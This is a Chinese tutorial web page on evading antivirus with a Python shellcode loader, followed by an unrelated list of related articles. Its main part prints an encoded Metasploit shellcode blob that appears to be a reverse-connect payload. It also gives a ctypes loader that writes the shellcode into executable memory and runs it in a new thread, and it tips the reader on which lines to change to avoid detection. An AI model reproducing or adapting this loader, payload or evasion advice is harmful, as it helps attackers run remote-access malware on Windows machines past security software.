通过Python实现Payload分离免杀过程详解

缺点:

编译成exe以后体积过大

实现:

msf生成shellcode代码:

将payload给copy下来,去除引号。

\x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x63\x42
\x6b\x69\x31\x41\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x69\x33
\x49\x6f\x44\x37\x64\x4b\x4a\x6a\x48\x2f\x72\x44\x78\x68\x66
\x41\x49\x73\x49\x4d\x48\x50\x44\x51\x48\x48\x34\x76\x4a\x53
\x56\x34\x74\x53\x45\x49\x74\x4b\x50\x49\x74\x4d\x45\x58\x6a
\x6a\x53\x41\x48\x52\x55\x59\x74\x5a\x49\x41\x48\x54\x69\x30
\x6b\x59\x34\x7a\x70\x4a\x69\x7a\x53\x4c\x41\x64\x59\x78\x2f
\x36\x7a\x42\x7a\x77\x30\x42\x78\x7a\x6a\x67\x64\x66\x59\x44
\x66\x66\x67\x37\x66\x53\x52\x31\x35\x46\x69\x4c\x57\x43\x51
\x42\x30\x32\x61\x4c\x44\x45\x75\x4c\x57\x42\x77\x42\x30\x34
\x73\x45\x69\x77\x48\x51\x69\x55\x51\x6b\x4a\x46\x74\x62\x59
\x56\x6c\x61\x55\x66\x2f\x67\x58\x31\x39\x61\x69\x78\x4c\x72
\x6a\x56\x31\x6f\x4d\x7a\x49\x41\x41\x47\x68\x33\x63\x7a\x4a
\x66\x56\x47\x68\x4d\x64\x79\x59\x48\x69\x65\x6a\x2f\x30\x4c
\x69\x51\x41\x51\x41\x41\x4b\x63\x52\x55\x55\x47\x67\x70\x67
\x47\x73\x41\x2f\x39\x56\x71\x43\x6d\x6a\x41\x71\x41\x4d\x38
\x61\x41\x49\x41\x44\x51\x57\x4a\x35\x6c\x42\x51\x55\x46\x42
\x41\x55\x45\x42\x51\x61\x4f\x6f\x50\x33\x2b\x44\x2f\x31\x5a
\x64\x71\x45\x46\x5a\x58\x61\x4a\x6d\x6c\x64\x47\x48\x2f\x31
\x59\x58\x41\x64\x41\x72\x2f\x54\x67\x68\x31\x37\x4f\x68\x6e
\x41\x41\x41\x41\x61\x67\x42\x71\x42\x46\x5a\x58\x61\x41\x4c
\x5a\x79\x46\x2f\x2f\x31\x59\x50\x34\x41\x48\x34\x32\x69\x7a
\x5a\x71\x51\x47\x67\x41\x45\x41\x41\x41\x56\x6d\x6f\x41\x61
\x46\x69\x6b\x55\x2b\x58\x2f\x31\x5a\x4e\x54\x61\x67\x42\x57
\x55\x31\x64\x6f\x41\x74\x6e\x49\x58\x2f\x2f\x56\x67\x2f\x67
\x41\x66\x53\x68\x59\x61\x41\x42\x41\x41\x41\x42\x71\x41\x46
\x42\x6f\x43\x79\x38\x50\x4d\x50\x2f\x56\x56\x32\x68\x31\x62
\x6b\x31\x68\x2f\x39\x56\x65\x58\x76\x38\x4d\x4a\x41\x2b\x46
\x63\x50\x2f\x2f\x2f\x2b\x6d\x62\x2f\x2f\x2f\x2f\x41\x63\x4d
\x70\x78\x6e\x58\x42\x77\x37\x76\x77\x74\x61\x4a\x57\x61\x67
\x42\x54\x2f\x39\x55\x3d

将自己的代码放入第3行的shell_code位置。

import ctypes,base64

encode_shellcode = "shell_code"
shellcode = base64.b64decode(encode_shellcode)
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

以上代码是绝对会被查杀的,但是可以通过修改代码绕过。思路如下,先查找杀软查杀哪里,再修改杀软查杀的代码,同时保证正常运行。提示一下,查杀的代码再5-6行之间,对其进行修改即可。

返回session:

免杀效果:

参考资料:

https://github.com/TideSec/BypassAntiVirus

https://micro8.gitbook.io/micro8/

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持我们。

(0)

相关推荐

  • PHP XML error parsing SOAP payload on line 1

    WebService,想必大家都比较熟悉,是由"服务提供方"向"服务调用方"提供服务的一种方式.里面有几项关键的技术: XML:描述数据的标准方法 SOAP:简单对象访问协议,用于信息交换 WSDL:Web服务描述语言 UDDI:通用描述.发现与集成,它是一种独立于平台的,基于XML语言的用于在互联网上描述商务的协议. SOAP默认传输的都是UTF-8的编码,这也决定了默认情况下WebService用的也是UTF-8编码. 现在维护的那个项目是一个PHP项目,编码用

  • python爬虫实现POST request payload形式的请求

    1. 背景 最近在爬取某个站点时,发现在POST数据时,使用的数据格式是request payload,有别于之前常见的 POST数据格式(Form data).而使用Form data数据的提交方式时,无法提交成功. 1.1. Http请求中Form Data 和 Request Payload的区别 AJAX Post请求中常用的两种传参数的形式:form data 和 request payload 1.1.1. Form data get请求的时候,我们的参数直接反映在url里面,形式为

  • Servlet获取AJAX POST请求中参数以form data和request payload形式传输的方法

    本文实例讲述了Servlet获取AJAX POST请求中参数以form data和request payload形式传输的方法.分享给大家供大家参考,具体如下: HTTP请求中,如果是get请求,那么表单参数以name=value&name1=value1的形式附到url的后面,如果是post请求,那么表单参数是在请求体中,也是以name=value&name1=value1的形式在请求体中.通过chrome的开发者工具可以看到如下(这里是可读的形式,不是真正的HTTP请求协议的请求格式)

  • java.lang.Runtime.exec() Payload知识点详解

    有时,通过Runtime.getRuntime().exec()执行命令的有效负载有时会失败.使用Web Shell,反序列化利用或通过其他媒介时,可能会发生这种情况. 有时这是因为重定向和管道字符的使用在启动过程的上下文中没有意义.例如,在shell中执行ls> dir_listing会将当前目录的列表输出到名为dir_listing的文件中.但是在exec()函数的上下文中,该命令将被解释为获取>和dir_listing目录的列表. 有时,StringTokenizer类会破坏其中包含空格

  • Python爬虫:Request Payload和Form Data的简单区别说明

    Request Payload 和 Form Data 请求头上的参数差别在于: Content-Type Form Data Post表单请求 代码示例 headers = { "Content-Type": "application/x-www-form-urlencoded" } requests.post(url, data=data, headers=headers) Request Payload 传递json数据 headers = { "C

  • 实例详解Nodejs 保存 payload 发送过来的文件

    1:接受文件 http://stackoverflow.com/questions/24610996/how-to-get-uploaded-file-in-node-js-express-app-using-angular-file-upload 可以用下列的第三方库 •busboy and connect-busboy •multiparty and connect-multiparty •formidable •multer 2:保存文件 ps:nodejs get/request 灌水评

  • 通过Python实现Payload分离免杀过程详解

    缺点: 编译成exe以后体积过大 实现: msf生成shellcode代码: 将payload给copy下来,去除引号. \x2f\x4f\x69\x43\x41\x41\x41\x41\x59\x49\x6e\x6c\x4d\x63\x42 \x6b\x69\x31\x41\x77\x69\x31\x49\x4d\x69\x31\x49\x55\x69\x33 \x49\x6f\x44\x37\x64\x4b\x4a\x6a\x48\x2f\x72\x44\x78\x68\x66 \x41\x

  • python 利用pyttsx3文字转语音过程详解

    这篇文章主要介绍了python 利用pyttsx3文字转语音过程详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 # -*- coding: utf-8 -*- import pyttsx3 engine = pyttsx3.init() with open("all.txt",'r',encoding='utf-8') as f: while 1: line = f.readline() print(line, end = '')

  • python获取网络图片方法及整理过程详解

    这篇文章主要介绍了python获取网络图片方法及整理过程详解,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下 方式1 使用urllib库 import urllib.request import os ,stat url = "https://cn.bing.com/th?id=OHR.Lidong2019_ZH-CN0761273672_1920x1080.jpg" try: urllib.request.urlretrieve(ur

  • 基于Python制作炸金花游戏的过程详解

    目录 前言 一.思路 二.解决方案 三.总结 前言 <诈金花>又叫三张牌,是在全国广泛流传的一种民间多人纸牌游戏.比如JJ比赛中的诈金花(赢三张),具有独特的比牌规则.游戏过程中需要考验玩家的胆略和智慧.--<百度百科> 前几天在交流群里边,有个叫[^-^]的粉丝分享了一道扑克牌诈金花的题目,要求用Python实现,题目如下: 自己写一个程序,实现发牌.比大小判断输赢. 游戏规则: 一付扑克牌,去掉大小王,每个玩家发3张牌,最后比大小,看谁赢. 有以下几种牌: 豹子:三张一样的牌,

  • Python破解excel进入密码的过程详解

    目录 一.excel进入密码 二.密码解除思路 三.python 1.conf.ini 2.crack.py 一.excel进入密码 加密算法cipher Algorithm=“AES” AES加密算法的详细介绍与实现 二.密码解除思路 通过排列组合的方式进行查找 注意:此方法比较考验对密码字典的选取,且耗费时间较长,仅供参考学习!! 文件夹如图所示: 将待破解的文件放到excel文件夹中. 三.python 1.conf.ini 将准备好的密码字典添加到conf.ini中password后面,

  • Python字节码与程序执行过程详解

    目录 问题: 1. 执行过程 2. 字节码 3. 源码编译 三种编译模式: 4. PyCodeObject 5. 反编译 6. pyc 问题: 我们每天都要编写一些Python程序,或者用来处理一些文本,或者是做一些系统管理工作.程序写好后,只需要敲下python命令,便可将程序启动起来并开始执行: $ python some-program.py 那么,一个文本形式的.py文件,是如何一步步转换为能够被CPU执行的机器指令的呢?此外,程序执行过程中可能会有.pyc文件生成,这些文件又有什么作用

  • python获取txt文件词向量过程详解

    在读取https://github.com/Embedding/Chinese-Word-Vectors中的中文词向量时,选择了一个有3G多的txt文件,之前在做词向量时用的是word2vec,所以直接导入模型然后indexword即可. 因为这是一个txt大文件,尝试了DataFrame,np.loadtxt等,都没有成功,其中主要遇到的问题是: 如何读取完整的大文件,而不会出现内存不足memery error等问题 将读取出来的文件,保存为npy文件 根据词找到对应的向量 解决办法: 尝试使

  • Python Django 实现简单注册功能过程详解

    项目创建略,可参考Python Django Vue 项目创建. 目录结构如下 编辑views.py from django.shortcuts import render # Create your views here. from django.http import HttpResponse from django.shortcuts import render from common.DBHandle import DataBaseHandle import time def djang

  • 使用python将excel数据导入数据库过程详解

    因为需要对数据处理,将excel数据导入到数据库,记录一下过程. 使用到的库:xlrd 和 pymysql (如果需要写到excel可以使用xlwt) 直接丢代码,使用python3,注释比较清楚. import xlrd import pymysql # import importlib # importlib.reload(sys) #出现呢reload错误使用 def open_excel(): try: book = xlrd.open_workbook("XX.xlsx")

  • 基于Python生成个性二维码过程详解

    一.问题描述 通过调用MyQR模块来实现生成个人所需二维码. 安装: pip install myqr 二.代码实现 1.普通二维码 from MyQR import myqr # 普通二维码 myqr.run( words='http://www.cnblogs.com/mayi0312', save_name='qrcode.png' ) 效果图: 2.带图片的艺术二维码 光是二维码,太单调了点.我们可以加上我们想要的图片,使二维码更具辨识度! 准备的Logo图片: 当然,也可以选择其他个人

随机推荐